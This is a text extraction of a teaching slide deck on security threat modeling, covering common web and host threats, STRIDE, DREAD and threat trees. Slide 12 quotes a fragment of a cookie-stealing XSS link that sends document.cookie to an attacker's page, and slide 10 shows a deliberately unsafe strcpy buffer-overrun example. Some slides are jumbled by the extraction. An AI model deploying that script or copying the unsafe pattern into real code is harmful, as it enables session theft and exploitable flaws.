1. Security Threat Modeling
Presented By,
Nagaradhika.B

2. Session Agenda Types of threats Threats against the application
Buffer overrun
Cross-site scripting
Input tampering
Session hijacking
Identity Spoofing
Information Disclosure
Threat modeling
Demo
Conclusion

3. Common Types of Attack Organizational Attacks Hackers Automated
Connection Fails
Organizational
Attacks
Restricted Data
Accidental Breaches
in Security
Automated
Hackers
Viruses, Trojan Horses, and Worms
Denial of
Service (DoS)
DoS

4. Types of Threats Spoofed packets, etc.
Network
Host
Application
Threats against
the network
Spoofed packets, etc.
Threats against the host
Buffer overflows, illicit paths, etc.
Threats against the application
SQL injection, XSS, input tampering, etc.

5. Threats Against the Network
Examples
Information gathering
Port scanning
Using trace routing to detect network topologies
Using broadcast requests to enumerate subnet hosts
Eavesdropping
Using packet sniffers to steal passwords
Denial of service (DoS)
SYN floods
ICMP echo request floods
Malformed packets
Spoofing
Packets with spoofed source addresses
frame=true#c _004

6. Threats Against the Host
Examples
Arbitrary code execution
Buffer overflows in ISAPI DLLs (e.g., MS01-033)
Directory traversal attacks (MS00-078)
File disclosure
Malformed HTR requests (MS01-031)
Virtualized UNC share vulnerability (MS00-019)
Denial of service (DoS)
Malformed SMTP requests (MS02-012)
Malformed WebDAV requests (MS01-016)
Malformed URLs (MS01-012)
Brute-force file uploads
Unauthorized access
Resources with insufficiently restrictive ACLs
Spoofing with stolen login credentials
Exploitation of open ports and protocols
Using NetBIOS and SMB to enumerate hosts
Connecting remotely to SQL Server

7. Threats Against the Application
Examples
SQL injection
Including a DROP TABLE command in text typed into an input field
Cross-site scripting
Using malicious client-side script to steal cookies
Hidden-field tampering
Maliciously changing the value of a hidden field
Eavesdropping
Using a packet sniffer to steal passwords and cookies from traffic on unencrypted connections
Session hijacking
Using a stolen session ID cookie to access someone else's session state
Identity spoofing
Using a stolen forms authentication cookie to pose as another user
Information disclosure
Allowing client to see a stack trace when an unhandled exception occurs

8. What Is a Buffer Overrun?
Occurs when data exceeds the expected size and overwrites other values
Exists primarily in unmanaged C/C++ code
Includes four types:
Stack-based buffer overruns
Heap overruns
V-table and function pointer overwrites
Exception handler overwrites
Can be exploited by worms

9. Possible Results of Buffer Overruns
Hacker’s Goal
Access violation
To perform denial of service attacks against servers
Instability
To disrupt the normal operation of software
Code Injection
To gain privileges for their own code
To exploit vital business data
To perform destructive actions

10. Stack-Based Buffer Overrun Example
Top of Stack
void UnSafe (const char* uncheckedData) {
int anotherLocalVariable;
strcpy (localVariable, uncheckedData); }
char localVariable[4];
char[4]
int
Return address

11. Cross-Site Scripting (XSS)
Exploits applications that echo raw, unfiltered input to Web pages
Input from <form> fields
Input from query strings
The technique:
Find a <form> field or query string parameter whose value is echoed to the Web page
Enter malicious script and get an unwary user to navigate to the infected page
Steal cookies, deface and disable sites

12. How Cross-Site Scripting Works
URL of the site targeted by the attack
<a href="
Search=<script language='javascript'>
document.location.replace ('
Cookie=‘ + document.cookie);
</script>">…</a>
The query string used in this example (which is taken from the demo that follows) includes JavaScript code that gathers up the cookies (document.cookies) issued to the victim by the targeted site (Search.aspx) and transmits them to the attacker's site (EvilPage.aspx) in a query string. Redirection is accomplished by calling document.location.replace. All EvilPage.aspx has to do to retrieve the cookies is parse them from the query string
This attack is alarmingly effective if Search.aspx "trust" input and echoes the query string to the page, and is a fine example of how cross-site scripting can be used to steal cookies
Query string contains embedded JavaScript that redirects to attacker’s page and transmits cookies issued by Search.aspx in a query string

13. Hidden-Field Tampering
HTTP is a stateless protocol
No built-in way to persist data from one request to the next
People are stateful beings
Want data persisted between requests
Shopping carts, user preferences, etc.
Web developers sometimes use hidden fields to persist data between requests
Hidden fields are not really hidden!
Input tampering was demonstrated in the first demo in session 1

14. How HF Tampering Works Page contains this…
type="hidden" prevents the field
from being seen on the page but
not in View Source
Page contains this…
<input type=“hidden” name="price"
value="$10,000">
Postback data should contain this…
One somewhat famous input tampering attack occurred a few years ago when a Microsoft employee noticed that a major airline round-tripped ticket prices in hidden fields. On a hunch, he selected a ticket, changed the ticket price to $1, and submitted the request. Guess what? He bought the ticket for $1! He also did the right thing: he contacted the airline and informed them about this vulnerability in their Web site. They thanked him and let him keep the ticket
price="$10,000"
Instead it contains this…
price="$1"

15. Session Hijacking Threat Risk Factor
Web applications use sessions to store state
Sessions are private to individual users
Sessions can be compromised
Threat
Risk Factor
Theft and replay of session ID cookies
High*
Links to sites that use cookieless session state
Medium*
Predictable session IDs
Low*
Remote connection to state server service
Medium
Remote connection to state server database
Eavesdropping on state server connection
Sessions cookies can be stolen by eavesdropping on HTTP connections or cross-site scripting
When cookieless session state is in effect, ASP.NET embeds the session ID in the URL. If someone pastes that URL into an message and sends it to a friend, the friend will share the sender's session (provided the session is still active, of course)
Predictable session IDs are not generally an issue in ASP.NET because ASP.NET uses the Framework’s RNGCryptoServiceProvider class to generate highly random 120-bit session IDs. However, companies can and sometimes do replace those session IDs with IDs of their own
In theory, an attacker could remotely connect to the ASP.NET state service if TCP port is left open in the firewall or the attacker is behind the firewall. (Note that ASP.NET 1.1 only permits connections from localhost unless a registry setting is changed. Also, the state service's port number can be changed for an added measure of protection)
An attacker could remotely connect to the ASP.NET state database if TCP port 1433 or UDP port 1434 is left open in the firewall or the attacker is behind the firewall and the database server lacks IP restrictions
* Shorter session time-outs mitigate the risk by reducing the attack window

16. Identity Spoofing Security depends on authentication
If authentication can be compromised, security goes out the window
Authentication can be compromised
Threat
Risk Factor
Theft of Windows authentication credentials
High
Theft of forms authentication credentials
Theft and replay of authentication cookies
Medium*
Dictionary attacks and password guessing
Theft of Windows authentication credentials is accomplished by eavesdropping on unencrypted HTTP connections. Remember that basic authentication passes user names and passwords in cleartext
Theft of forms authentication credentials is accomplished by eavesdropping on login forms accessible through unencrypted HTTP connections
Forms authentication cookies can be stolen by intercepting unencrypted HTTP traffic or cross-site scripting. Limiting the lifetimes of forms authentication cookies helps mitigate their usefulness
The best defense against dictionary attacks is to enforce strong password policies that prevent ordinary words from being used as passwords

17. Information Disclosure
Which is the better error message?
The point here is that security-related error messages should be as generic as possible
This example seems a little silly, but the threat is very real because ASP.NET reveals too much information when an unhandled exception occurs if it is improperly configured. The demo that follows will make this very clear

18. Threat Modeling
Structured approach to identifying, quantifying, and addressing threats
Essential part of development process
Just like specing and designing
Just like coding and testing
One technique presented here
There are others (e.g., OCTAVE)
The threat modeling technique presented here is widely used within Microsoft

19. The Threat Modeling Process1
Identify assets 2
Document architecture 3
Decompose application 4
Identify threats
Identify assets: What is it you want to protect?
Document architecture: Diagram the application, paying particular attention to subsystems, trust boundaries, and data flow
Decompose application: Create a security profile to help identify vulnerabilities
Identify threats: Think like an attacker: How can I break this app? How can I exploit its vulnerabilities?
Document threats: Document the threats using a threat template
Rate threats: Which threats have the potential for doing the most harm? 5
Document threats 6
Rate threats

20. 1 Identifying Assets What is it that you want to protect?
Private data (e.g., customer list)
Proprietary data (e.g., intellectual property)
Potentially injurious data (e.g., credit card numbers, decryption keys)
These also count as "assets"
Integrity of back-end databases
Integrity of the Web pages (no defacement)
Integrity of other machines on the network
Availability of the application

21. Documenting Architecture2
Documenting Architecture
Define what the app does and how it's used
Users view pages with catalog items
Users perform searches for catalog items
Users add items to shopping carts
Users check out
Diagram the application
Show subsystems
Show data flow
List assets

22. Example Asset #1 Asset #2 Asset #3 Web Server Database Server IIS
Firewall
IIS
ASP.NET
Login
Bob
Alice
Main
Bill
State
Asset #1: public pages (anonymous access allowed)
Asset #2: private pages (viewers require authentication)
Asset #3: Login database (user names and passwords)
Asset #4: Decryption keys
Asset #5: ASP.NET session state database
Asset #6: Main database
Asset #4
Asset #5
Asset #6

23. 3 Decomposing the App Refine the architecture diagram
Show authentication mechanisms
Show authorization mechanisms
Show technologies (e.g., DPAPI)
Diagram trust boundaries
Identify entry points
Begin to think like an attacker
Where are my vulnerabilities?
What am I going to do about them?

24. Windows Authentication
Example
Forms Authentication
URL Authorization
Web Server
Database Server
Trust
Firewall
Bob
IIS
ASP.NET
Login
Alice
Main
Bill
State
In this example, forms authentication and URL authorization will be used to authenticate users and define access rules
In this example, the application will use Windows authentication to authenticate against the databases. Windows authentication is one of two forms of authentication supported by SQL Server and is discussed in session 3
In this example, the Windows Data Protection API (DPAPI) will be used to protect the decryption keys. The DPAPI is covered in session 3
The trust boundary encompasses both ASP.NET and the database server because the database server trusts ASP.NET to authenticate the caller
DPAPI
Windows Authentication

25. 4 Identifying Threats Method #1: Threat lists Method #2: STRIDE
Start with laundry list of possible threats
Identify the threats that apply to your app
Method #2: STRIDE
Categorized list of threat types
Identify threats by type/category
Optionally draw threat trees
Root nodes represent attacker's goals
Trees help identify threat conditions
A good way to structure thinking about threat identfication is to think of the big three threat categories: threats against the network, threats against the host, and threats against the application

26. STRIDE Spoofing S Tampering T Repudiation R Information disclosure I
Can an attacker gain access using a false identity? T
Tampering
Can an attacker modify data as it flows through the application? R
Repudiation
If an attacker denies doing something, can we prove he did it? I
Information disclosure
Can an attacker gain access to private or potentially injurious data? D
Denial of service
Can an attacker crash or reduce the availiability of the system? E
Elevation of privilege
Can an attacker assume the identity of a privileged user?

27. Threat Trees OR AND AND Theft of Auth Cookies
Obtain auth cookie to spoof identity OR
AND
AND
Unencrypted
Connection
Eavesdropping
Cross-Site
Scripting
XSS
Vulnerability
This is a simple threat tree. In real life, threat trees are numerous and sometimes much more complex
Cookies travel over unencrypted HTTP
Attacker uses sniffer to monitor HTTP traffic
Attacker possesses means and knowledge
Application is vulnerable to XSS attacks

28. 5
Documenting Threats
Document threats using a template
Theft of Auth Cookies by Eavesdropping on Connection
Threat target
Connections between browsers and Web server
Risk
Attack techniques
Attacker uses sniffer to monitor traffic
Countermeasures
Use SSL/TLS to encrypt traffic
Countermeasures are discussed in session 3; countermeasures are included here simply for completeness
Theft of Auth Cookies via Cross-Site Scripting
Threat target
Vulnerable application code
Risk
Attack techniques
Attacker sends with malicious link to users
Countermeasures
Validate input; HTML-encode output

29. 6 Rating Threats Simple model DREAD model
Greater granularization of threat potential
Rates (prioritizes) each threat on scale of 1-15
Developed and widely used by Microsoft
Risk = Probability * Damage Potential
1-10 Scale
1 = Least probable
10 = Most probable
1-10 Scale
1 = Least damage
10 = Most damage
Simple model does not directly take into account factors such as whether the attack requires a timing window (e.g., the fact that a stolen authentication cookie is valid for a finite period of time)

30. DREAD D Damage potential R Reproducibility E Exploitability A
What are the consequences of a successful exploit? R
Reproducibility
Would an exploit work every time or only under certain circumstances? E
Exploitability
How skilled must an attacker be to exploit the vulnerability? A
Affected users
How many users would be affected by a successful exploit? D
Discoverability
How likely is it that an attacker will know the vulnerability exists?

31. Example Threat D R E A Sum Prioritized Risks
Auth cookie theft (eavesdropping) 3 2 13
Auth cookie theft (XSS) 12
Potential for damage is high
(spoofed identities, etc.)
Cookie can be stolen any time, but is only useful until expired
Anybody can run a packet sniffer; XSS attacks require moderate skill
Prioritized
Risks
Plug these risk ratings back into the threat list and you have a concise list of threats that you can prioritize based on risk
All users could be affected, but in reality most won't click malicious links
Easy to discover: just type a <script> block into a field

32. Summary
Without threat modelling, protecting yourself is like “shooting in the dark”
You need expertise in understanding most common attacks – read security bulletins
Developers must learn and use secure coding practices
Learn some crypto too
Assume you are vulnerable, prove you are not

33. References
Reference for threat modeling tool: